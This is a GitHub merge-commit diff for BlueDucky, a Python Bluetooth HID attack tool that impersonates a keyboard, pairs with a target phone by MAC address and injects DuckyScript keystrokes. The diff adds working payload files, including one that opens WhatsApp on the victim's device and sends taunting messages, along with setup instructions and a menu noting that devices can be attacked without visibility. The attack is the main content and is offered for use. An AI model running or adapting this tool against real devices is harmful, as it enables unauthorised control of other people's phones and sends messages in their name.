Merge branch 'main' into requirements

This commit is contained in:
Opabinia 2024-05-27 04:30:43 +00:00 committed by GitHub
commit 5c4101340e
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
10 changed files with 327 additions and 93 deletions

View File

@ -1,7 +1,9 @@
import binascii, bluetooth, sys, time, datetime, logging
import binascii, bluetooth, sys, time, datetime, logging, argparse
from multiprocessing import Process
from pydbus import SystemBus
from enum import Enum
import subprocess
import os
from utils.menu_functions import (main_menu, read_duckyscript, run, restart_bluetooth_daemon, get_target_address)
from utils.register_device import register_hid_profile, agent_loop
@ -14,8 +16,6 @@ class AnsiColorCode:
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
RESET = '\033[0m'
@ -29,8 +29,8 @@ class ColorLogFormatter(logging.Formatter):
logging.INFO: AnsiColorCode.GREEN,
logging.WARNING: AnsiColorCode.YELLOW,
logging.ERROR: AnsiColorCode.RED,
logging.CRITICAL: AnsiColorCode.MAGENTA,
NOTICE_LEVEL: AnsiColorCode.CYAN, # Color for NOTICE level
logging.CRITICAL: AnsiColorCode.RED,
NOTICE_LEVEL: AnsiColorCode.BLUE, # Color for NOTICE level
}
def format(self, record):
@ -267,9 +267,20 @@ class L2CAPClient:
self.connected = True
log.debug("SUCCESS! connected on port %d" % self.port)
except Exception as ex:
# Color Definition Again just to avoid errors I should've made a class for this.
red = "\033[91m"
blue = "\033[94m"
reset = "\033[0m"
error = True
self.connected = False
log.error("ERROR connecting on port %d: %s" % (self.port, ex))
raise ConnectionFailureException(f"Connection failure on port {self.port}")
if (error == True & self.port == 14):
print("{reset}[{red}!{reset}] {red}CRITICAL ERROR{reset}: {reset}Attempted Connection to {red}{target_address} {reset}was {red}denied{reset}.")
return self.connected
return self.connected
@ -593,13 +604,14 @@ def terminate_child_processes():
if proc.is_alive():
proc.terminate()
proc.join()
def setup_bluetooth(target_address):
def setup_bluetooth(target_address, adapter_id):
restart_bluetooth_daemon()
profile_proc = Process(target=register_hid_profile, args=('hci0', target_address))
profile_proc = Process(target=register_hid_profile, args=(adapter_id, target_address))
profile_proc.start()
child_processes.append(profile_proc)
adapter = Adapter('hci0')
adapter = Adapter(adapter_id)
adapter.set_property("name", "Robot POC")
adapter.set_property("class", 0x002540)
adapter.power(True)
@ -617,28 +629,94 @@ def establish_connections(connection_manager):
if not connection_manager.connect_all():
raise ConnectionFailureException("Failed to connect to all required ports")
def setup_and_connect(connection_manager, target_address):
def setup_and_connect(connection_manager, target_address, adapter_id):
connection_manager.create_connection(1) # SDP
connection_manager.create_connection(17) # HID Control
connection_manager.create_connection(19) # HID Interrupt
initialize_pairing('hci0', target_address)
initialize_pairing(adapter_id, target_address)
establish_connections(connection_manager)
return connection_manager.clients[19]
def troubleshoot_bluetooth():
# Added this function to troubleshoot common issues before access to the application is granted
blue = "\033[0m"
red = "\033[91m"
reset = "\033[0m"
# Check if bluetoothctl is available
try:
subprocess.run(['bluetoothctl', '--version'], check=True, stdout=subprocess.PIPE)
except subprocess.CalledProcessError:
print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: {blue}bluetoothctl {reset}is not installed or not working properly.")
return False
# Check for Bluetooth adapters
result = subprocess.run(['bluetoothctl', 'list'], capture_output=True, text=True)
if "Controller" not in result.stdout:
print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No {blue}Bluetooth adapters{reset} have been detected.")
return False
# List devices to see if any are connected
result = subprocess.run(['bluetoothctl', 'devices'], capture_output=True, text=True)
if "Device" not in result.stdout:
print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No Compatible {blue}Bluetooth devices{reset} are connected.")
return False
# if no issues are found then continue
return True
# Main function
def main():
blue = "\033[0m"
red = "\033[91m"
reset = "\033[0m"
parser = argparse.ArgumentParser(description="Bluetooth HID Attack Tool")
parser.add_argument('--adapter', type=str, default='hci0', help='Specify the Bluetooth adapter to use (default: hci0)')
args = parser.parse_args()
adapter_id = args.adapter
main_menu()
target_address = get_target_address()
if not target_address:
log.info("No target address provided. Exiting.")
log.info("No target address provided. Exiting..")
return
script_directory = os.path.dirname(os.path.realpath(__file__))
payload_folder = os.path.join(script_directory, 'payloads/') # Specify the relative path to the payloads folder.
payloads = os.listdir(payload_folder)
duckyscript = read_duckyscript()
blue = "\033[0m"
red = "\033[91m"
reset = "\033[0m"
print(f"\nAvailable payloads{blue}:")
for idx, payload_file in enumerate(payloads, 1): # Check and enumerate the files inside the payload folder.
print(f"{reset}[{blue}{idx}{reset}]{blue}: {blue}{payload_file}")
blue = "\033[0m"
red = "\033[91m"
reset = "\033[0m"
payload_choice = input(f"\n{blue}Enter the number that represents the payload you would like to load{reset}: {blue}")
selected_payload = None
try:
payload_index = int(payload_choice) - 1
selected_payload = os.path.join(payload_folder, payloads[payload_index])
except (ValueError, IndexError):
print(f"Invalid payload choice. No payload selected.")
if selected_payload is not None:
print(f"{blue}Selected payload{reset}: {blue}{selected_payload}")
duckyscript = read_duckyscript(selected_payload)
else:
print(f"{red}No payload selected.")
if not duckyscript:
log.info("Payload file not found. Exiting.")
return
adapter = setup_bluetooth(target_address)
adapter = setup_bluetooth(target_address, adapter_id)
adapter.enable_ssp()
current_line = 0
@ -647,24 +725,35 @@ def main():
while True:
try:
hid_interrupt_client = setup_and_connect(connection_manager, target_address)
hid_interrupt_client = setup_and_connect(connection_manager, target_address, adapter_id)
process_duckyscript(hid_interrupt_client, duckyscript, current_line, current_position)
time.sleep(2)
break # Exit loop if successful
except ReconnectionRequiredException as e:
log.info("Reconnection required. Attempting to reconnect...")
log.info(f"{reset}Reconnection required. Attempting to reconnect{blue}...")
current_line = e.current_line
current_position = e.current_position
connection_manager.close_all()
# Sleep before retrying to avoid rapid reconnection attempts
time.sleep(2)
#process_duckyscript(hid_interrupt_client, duckyscript)
finally:
# unpair the target device
blue = "\033[94m"
reset = "\033[0m"
command = f'echo -e "remove {target_address}\n" | bluetoothctl'
subprocess.run(command, shell=True)
print(f"{blue}Successfully Removed device{reset}: {blue}{target_address}{reset}")
if __name__ == "__main__":
setup_logging()
log = logging.getLogger(__name__)
try:
main()
if troubleshoot_bluetooth():
main()
else:
sys.exit(0)
finally:
terminate_child_processes()
terminate_child_processes()

View File

@ -1,10 +1,13 @@
# BlueDucky (Android) 🦆
# BlueDucky Ver 2.1 (Android) 🦆
Thanks to all the people at OWLSec. Make sure you come join us on VC !
https://discord.gg/owlsec
Thanks to all the people at HackNexus. Make sure you come join us on VC !
https://discord.gg/HackNexus
NOTES: I will not be able to run this on a laptop or other device outside of a raspberry pi for testing. Due to this, any issues you have will need to be resolved amonsgt each other as I do not have the spare funds to buy an adapter.
1. [saad0x1's GitHub](https://github.com/saad0x1)
2. [spicydll's GitHub](https://github.com/spicydll)
3. [lamentomori's GitHub](https://github.com/lamentomori)
<p align="center">
<img src="./images/duckmenu.png">
@ -31,7 +34,7 @@ I've successfully run this on a Raspberry Pi 4 using the default Bluetooth modul
## Installation and Usage 🛠️
### Setup Instructions
### Setup Instructions for Debian-based
```bash
# update apt
@ -48,6 +51,29 @@ git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
```
### Setup Instructions for Arch-based
```bash
# update pacman & packages
sudo pacman -Syyu
# install dependencies
# since arch doesn't separate lib packages: libbluetooth-dev included in bluez package
sudo pacman -S bluez-tools bluez-utils bluez-deprecated-tools \
python-setuptools python-pydbus python-dbus
git gcc python-pip \
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
@ -63,6 +89,12 @@ sudo hciconfig hci0 up
python3 BlueDucky.py
```
alternatively,
```bash
pip3 install -r requirements.txt
```
## Operational Steps 🕹️
1. On running, it prompts for the target MAC address.
2. Pressing nothing triggers an automatic scan for devices.
@ -75,6 +107,15 @@ python3 BlueDucky.py
🚧 Work in Progress:
- Suggest me ideas
## Version 2.1 🐛
- Updated UI
- Improved User Experience
- Bluetooth Debugger; Checks your bluetooth adapters, and installed dependancies before allowing access to the application, this is to prevent devices that are not supported.
- Please Note: Numerous Changes have been made,please reference the commit history for specific changes.
## What's Planned for the Next Release?
- Integrated DuckyScript Console for attacks that want to maintain persistance, after a payload has been ran
- Suggest What Should be added next! Join https://discord.gg/HackNexus
#### 📝 Example payload.txt:
```bash

1
__init__.py Normal file
View File

@ -0,0 +1 @@

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 18 KiB

View File

@ -1,2 +0,0 @@
REM This is a comment and will not run
STRING hello there 123

View File

@ -0,0 +1,16 @@
REM Opens a private browser to hackertyper.net
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING hackertyper.net
DELAY 300
ENTER
DELAY 300

View File

@ -0,0 +1,4 @@
REM This is a comment and will not run
STRING hello opening messages here
DELAY 200
GUI s

48
payloads/wp_payload.txt Normal file
View File

@ -0,0 +1,48 @@
REM Opens a browser to https://wa.me/<+number>
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM BROWSER is equal to CTRL + SHIFT + N
BROWSER
DELAY 700
CTRL l
DELAY 300
STRING https://wa.me/<+NUMBER>
DELAY 500
ENTER
DELAY 3000
TAB
TAB
TAB
TAB
TAB
ENTER
DELAY 7000
REM # Enter your message here
STRING get clapped by 4ngel6uard
DELAY 500
TAB
TAB
ENTER
DELAY 2000
REM # Enter your another message here
STRING hehehe
DELAY 300
TAB
TAB
ENTER
DELAY 2000
REM # Enter your another message here
STRING blueducky was there
DELAY 300
TAB
TAB
ENTER
DELAY 2000
REM # Enter your another message here (doesn't send, leaves in a box)
STRING good luck =)

View File

@ -3,3 +3,6 @@ PyBluez==0.30
pycairo==1.26.0
pydbus==0.6.0
PyGObject==3.48.1
pyobjc
pybluez
setuptools==57.5.0

View File

@ -1,7 +1,15 @@
import os, bluetooth,re, subprocess, time, curses
import os, bluetooth, re, subprocess, time, curses
import logging as log
##########################
# UI Redesign by Lamento #
##########################
def get_target_address():
target_address = input("\nWhat is the target address? Leave blank and we will scan for you: ")
blue = "\033[94m"
reset = "\033[0m"
print(f"\n What is the target address{blue}? {reset}Leave blank and we will scan for you{blue}!{reset}")
target_address = input(f"\n {blue}> ")
if target_address == "":
devices = scan_for_devices()
@ -9,12 +17,17 @@ def get_target_address():
# Check if the returned list is from known devices or scanned devices
if len(devices) == 1 and isinstance(devices[0], tuple) and len(devices[0]) == 2:
# A single known device was chosen, no need to ask for selection
target_address = devices[0][0]
# I think it would be better to ask, as sometimes I do not want to chose this device and actually need solely to scan for actual devices.
confirm = input(f"\n Would you like to register this device{blue}:\n{reset}{devices[0][1]} {devices[0][0]}{blue}? {blue}({reset}y{blue}/{reset}n{blue}) {blue}").strip().lower()
if confirm == 'y' or confirm == 'yes':
return devices[0][0]
elif confirm != 'y' or 'yes':
return
else:
# Show list of scanned devices for user selection
for idx, (addr, name) in enumerate(devices):
print(f"{idx + 1}: Device Name: {name}, Address: {addr}")
selection = int(input("\nSelect a device by number: ")) - 1
print(f"{reset}[{blue}{idx + 1}{reset}] {blue}Device Name{reset}: {blue}{name}, {blue}Address{reset}: {blue}{addr}")
selection = int(input(f"\n{reset}Select a device by number{blue}: {blue}")) - 1
if 0 <= selection < len(devices):
target_address = devices[selection][0]
else:
@ -41,38 +54,30 @@ def run(command):
def print_fancy_ascii_art():
ascii_art = """
"""
"""
print("\033[1;36m" + ascii_art + "\033[0m") # Cyan color
print("\033[94m" + ascii_art + "\033[0m") # Blue color
def clear_screen():
os.system('clear')
@ -83,45 +88,44 @@ def save_devices_to_file(devices, filename='known_devices.txt'):
for addr, name in devices:
file.write(f"{addr},{name}\n")
def get_yes_no():
stdscr = curses.initscr()
curses.cbreak()
stdscr.keypad(1)
while True:
key = stdscr.getch()
if key == ord('y'):
response = 'yes'
break
elif key == ord('n'):
response = 'no'
break
curses.endwin()
return response
# Function to scan for devices
def scan_for_devices():
main_menu()
blue = "\033[94m"
error = "\033[91m"
reset = "\033[0m"
# Load known devices
known_devices = load_known_devices()
if known_devices:
print("\nKnown devices:")
blue = "\033[94m"
error = "\033[91m"
reset = "\033[0m"
print(f"\n{reset}Known devices{blue}:")
for idx, (addr, name) in enumerate(known_devices):
print(f"{idx + 1}: Device Name: {name}, Address: {addr}")
blue = "\033[94m"
error = "\033[91m"
reset = "\033[0m"
print(f"{blue}{idx + 1}{reset}: Device Name: {blue}{name}, Address: {blue}{addr}")
use_known_device = input("\nDo you want to use one of these known devices? (yes/no): ")
blue = "\033[94m"
error = "\033[91m"
reset = "\033[0m"
use_known_device = input(f"\n{reset}Do you want to use one of these known devices{blue}? {blue}({reset}yes{blue}/{reset}no{blue}): ")
if use_known_device.lower() == 'yes':
device_choice = int(input("Enter the number of the device: "))
device_choice = int(input(f"{reset}Enter the index number of the device to attack{blue}: "))
return [known_devices[device_choice - 1]]
# Normal Bluetooth scan
print("\nAttempting to scan now...")
blue = "\033[94m"
error = "\033[91m"
reset = "\033[0m"
print(f"\n{reset}Attempting to scan now{blue}...")
nearby_devices = bluetooth.discover_devices(duration=8, lookup_names=True, flush_cache=True, lookup_class=True)
device_list = []
if len(nearby_devices) == 0:
print("\nNo nearby devices found.")
print(f"\n{reset}[{error}+{reset}] No nearby devices found.")
else:
print("\nFound {} nearby device(s):".format(len(nearby_devices)))
for idx, (addr, name, _) in enumerate(nearby_devices):
@ -133,31 +137,45 @@ def scan_for_devices():
known_devices += new_devices
save_devices_to_file(known_devices)
for idx, (addr, name) in enumerate(new_devices):
print(f"{idx + 1}: Device Name: {name}, Address: {addr}")
print(f"{reset}{idx + 1}{blue}: {blue}Device Name{reset}: {blue}{name}{reset}, {blue}Address{reset}: {blue}{addr}")
return device_list
def getterm():
size = os.get_terminal_size()
return size.columns
def print_menu():
blue = '\033[94m'
reset = "\033[0m"
title = "BlueDucky - Bluetooth Device Attacker"
separator = "=" * 70
print("\033[1;35m" + separator) # Purple color for separator
print("\033[1;33m" + title.center(len(separator))) # Yellow color for title
print("\033[1;35m" + separator + "\033[0m") # Purple color for separator
print("\033[1;32m" + "Remember, you can still attack devices without visibility..." + "\033[0m")
print("\033[1;32m" + "If you have their MAC address" + "\033[0m")
print("\033[1;35m" + separator + "\033[0m") # Purple color for separator
vertext = "Ver 2.1"
motd1 = f"Remember, you can still attack devices without visibility.."
motd2 = f"If you have their MAC address.."
terminal_width = getterm()
separator = "=" * terminal_width
print(blue + separator) # Blue color for separator
print(reset + title.center(len(separator))) # Centered Title in blue
print(blue + vertext.center(len(separator))) # Centered Version
print(blue + separator + reset) # Blue color for separator
print(motd1.center(len(separator)))# used the same method for centering
print(motd2.center(len(separator)))# used the same method for centering
print(blue + separator + reset) # Blue color for separator
def main_menu():
clear_screen()
print_fancy_ascii_art()
print_menu()
def is_valid_mac_address(mac_address):
# Regular expression to match a MAC address in the form XX:XX:XX:XX:XX:XX
mac_address_pattern = re.compile(r'^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$')
return mac_address_pattern.match(mac_address) is not None
# Function to read DuckyScript from file
def read_duckyscript(filename='payload.txt'):
def read_duckyscript(filename):
if os.path.exists(filename):
with open(filename, 'r') as file:
return [line.strip() for line in file.readlines()]
@ -172,3 +190,19 @@ def load_known_devices(filename='known_devices.txt'):
return [tuple(line.strip().split(',')) for line in file]
else:
return []
title = "BlueDucky - Bluetooth Device Attacker"
vertext = "Ver 2.1"
terminal_width = getterm()
separator = "=" * terminal_width
blue = "\033[0m"
reset = "\033[0m"
print(blue + separator) # Blue color for separator
print(reset + title.center(len(separator))) # White color for title
print(blue + vertext.center(len(separator))) # White blue for version number
print(blue + separator + reset) # Blue color for separator
print(f"{reset}Remember, you can still attack devices without visibility{blue}.." + reset)
print(f"{blue}If you have their {reset}MAC address{blue}.." + reset)
print(blue + separator + reset) # Blue color for separator